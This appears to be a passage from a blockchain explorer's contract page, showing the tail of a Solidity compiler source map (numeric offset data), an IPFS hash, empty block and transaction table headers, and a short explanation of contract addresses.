;6651:1;6648;6641:12;6603:52;6680:9;6674:16;6664:26;;6730:2;6719:9;6715:18;6709:25;6699:35;;6774:2;6763:9;6759:18;6753:25;6743:35;;6478:306;;;;;:::o;7068:277::-;7135:6;7188:2;7176:9;7167:7;7163:23;7159:32;7156:52;;;7204:1;7201;7194:12;7156:52;7236:9;7230:16;7289:5;7282:13;7275:21;7268:5;7265:32;7255:60;;7311:1;7308;7301:12;10214:125;10279:9;;;10300:10;;;10297:36;;;10313:18;;:::i;10699:135::-;10738:3;10759:17;;;10756:43;;10779:18;;:::i;:::-;-1:-1:-1;10826:1:1;10815:13;;10699:135::o;10839:128::-;10906:9;;;10927:11;;;10924:37;;;10941:18;;:::i;10972:217::-;11012:1;11038;11028:132;;11082:10;11077:3;11073:20;11070:1;11063:31;11117:4;11114:1;11107:15;11145:4;11142:1;11135:15;11028:132;-1:-1:-1;11174:9:1;;10972:217::o;11728:127::-;11789:10;11784:3;11780:20;11777:1;11770:31;11820:4;11817:1;11810:15;11844:4;11841:1;11834:15;11860:980;12122:4;12170:3;12159:9;12155:19;12201:6;12190:9;12183:25;12227:2;12265:6;12260:2;12249:9;12245:18;12238:34;12308:3;12303:2;12292:9;12288:18;12281:31;12332:6;12367;12361:13;12398:6;12390;12383:22;12436:3;12425:9;12421:19;12414:26;;12475:2;12467:6;12463:15;12449:29;;12496:1;12506:195;12520:6;12517:1;12514:13;12506:195;;;12585:13;;-1:-1:-1;;;;;12581:39:1;12569:52;;12676:15;;;;12641:12;;;;12617:1;12535:9;12506:195;;;-1:-1:-1;;;;;;;12757:32:1;;;;12752:2;12737:18;;12730:60;-1:-1:-1;;;12821:3:1;12806:19;12799:35;12718:3;11860:980;-1:-1:-1;;;11860:980:1:o

Swarm Source

ipfs://da75c2f18982f2b96aaa3dc0b5492ae258ee922ce4e27eedf8157faa9b2149c9

Block Transaction Difficulty Gas Used Reward
View All Blocks Produced

Block Uncle Number Difficulty Gas Used Reward
View All Uncles
Loading...
Loading
Loading...
Loading

Validator Index Block Amount
View All Withdrawals

Transaction Hash Block Value Eth2 PubKey Valid
View All Deposits
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A contract address hosts a smart contract, which is a set of code stored on the blockchain that runs when predetermined conditions are met. Learn more about addresses in our Knowledge Base.